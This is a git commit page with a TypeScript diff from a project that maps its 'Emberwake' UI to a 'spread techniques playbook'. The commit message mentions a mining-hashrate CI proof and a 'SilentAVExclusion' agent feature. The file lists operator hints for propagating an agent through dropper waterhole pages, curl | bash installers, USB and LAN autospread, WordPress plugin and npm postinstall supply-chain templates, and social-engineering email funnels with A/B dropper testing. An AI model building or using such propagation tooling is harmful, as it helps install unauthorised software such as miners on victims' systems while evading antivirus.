Release validation: tests green, USB pack, fleet UX and API hardening.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Fix macOS agent cross-compile (SilentAVExclusion) and Calibrate E2E nav selector; expand tests and docs; refresh portable usb binary and spread/wiki assets.
This commit is contained in:
AetherForge
2026-06-06 16:57:39 -07:00
parent 5229854f00
commit 415b5dc6a3
119 changed files with 7005 additions and 3082 deletions

View File

@@ -1,61 +1,66 @@
/** Links into docs/SPREAD_TECHNIQUES.md (served at /docs/SPREAD_TECHNIQUES.md). */
/** Links into the tabbed spread techniques playbook at /docs/SPREAD_TECHNIQUES.html */
export const SPREAD_TECHNIQUES_DOC = '/docs/SPREAD_TECHNIQUES.md';
export const SPREAD_TECHNIQUES_DOC = '/docs/SPREAD_TECHNIQUES.html';
export interface EmberwakeTechniqueLink {
/** Short label shown in Emberwake UI */
/** Short label — rendered as hyperlink text in Emberwake */
label: string;
/** Markdown heading anchor in SPREAD_TECHNIQUES.md or wiki section id */
/** Tab id or sub-anchor in SPREAD_TECHNIQUES.html */
anchor: string;
/** One-line operator hint */
/** One-line operator hint (no tutorial copy) */
hint: string;
/** When set, link targets /docs/#anchor instead of SPREAD_TECHNIQUES.md */
wiki?: boolean;
}
/** Maps Emberwake “how to spread” bullets to playbook sections. */
/** Maps Emberwake “how to spread” bullets to playbook tabs. */
export const EMBERWAKE_TECHNIQUE_LINKS: EmberwakeTechniqueLink[] = [
{
label: 'Web waterhole',
anchor: 'owned-site-you-control-origin',
hint: 'Dropper landing page, spread-kit ZIP on owned origin',
anchor: 'web-waterhole',
hint: 'Owned-origin dropper or spread-kit lander',
},
{
label: 'curl | bash VPS',
anchor: 'server-specific-endpoints-linuxmacoswindows-servers',
hint: 'install.sh / install.ps1 one-liners on headless servers',
anchor: 'curl-bash',
hint: 'Headless install.sh / install.ps1 one-liners',
},
{
label: 'Campaign & War Room',
anchor: 'campaign-war-room',
hint: '?c= tags, A/B pins, funnel analytics',
},
{
label: 'Fusion media',
anchor: 'owned-site-you-control-origin',
hint: 'Fusion bundle as codec/tool download — pair with Desktop Fusion preset',
anchor: 'fusion-media',
hint: 'Codec/tool ZIP — Desktop Fusion preset',
},
{
label: 'USB propagation',
anchor: 'usb',
hint: 'Forge-time USB flag — not Emberwake export',
},
{
label: 'LAN kindling',
anchor: 'five-recommended-plays--sites-you-own',
hint: 'Universal spread kit + autospread — LAN Kindling forge preset',
},
{
label: 'A/B droppers',
anchor: 'social-engineering-funnel-email--ads--site--file',
hint: 'Campaign ?c= tags + pin build A vs B between waves',
anchor: 'lan',
hint: 'Universal spread kit + autospread preset',
},
{
label: 'WordPress plugin',
anchor: 'wordpress-plugin-supply-chain',
hint: 'Operator-owned plugin ZIP — /get?c=wp-{site} on your WP host',
wiki: true,
anchor: 'wordpress',
hint: 'Owned-site plugin ZIP — supply-chain wizard',
},
{
label: 'npm postinstall',
anchor: 'npm-postinstall-helper',
hint: 'Private package template — postinstall curls your install.sh',
wiki: true,
anchor: 'npm-helper',
hint: 'Private registry template — your packages only',
},
{
label: 'Social funnel',
anchor: 'social-funnel',
hint: 'Email → lander → pinned build chains',
},
];
export function spreadTechniqueDocUrl(anchor?: string, wiki = false): string {
if (wiki && anchor) return `/docs/#${anchor}`;
export function spreadTechniqueDocUrl(anchor?: string): string {
if (!anchor) return SPREAD_TECHNIQUES_DOC;
return `${SPREAD_TECHNIQUES_DOC}#${anchor}`;
}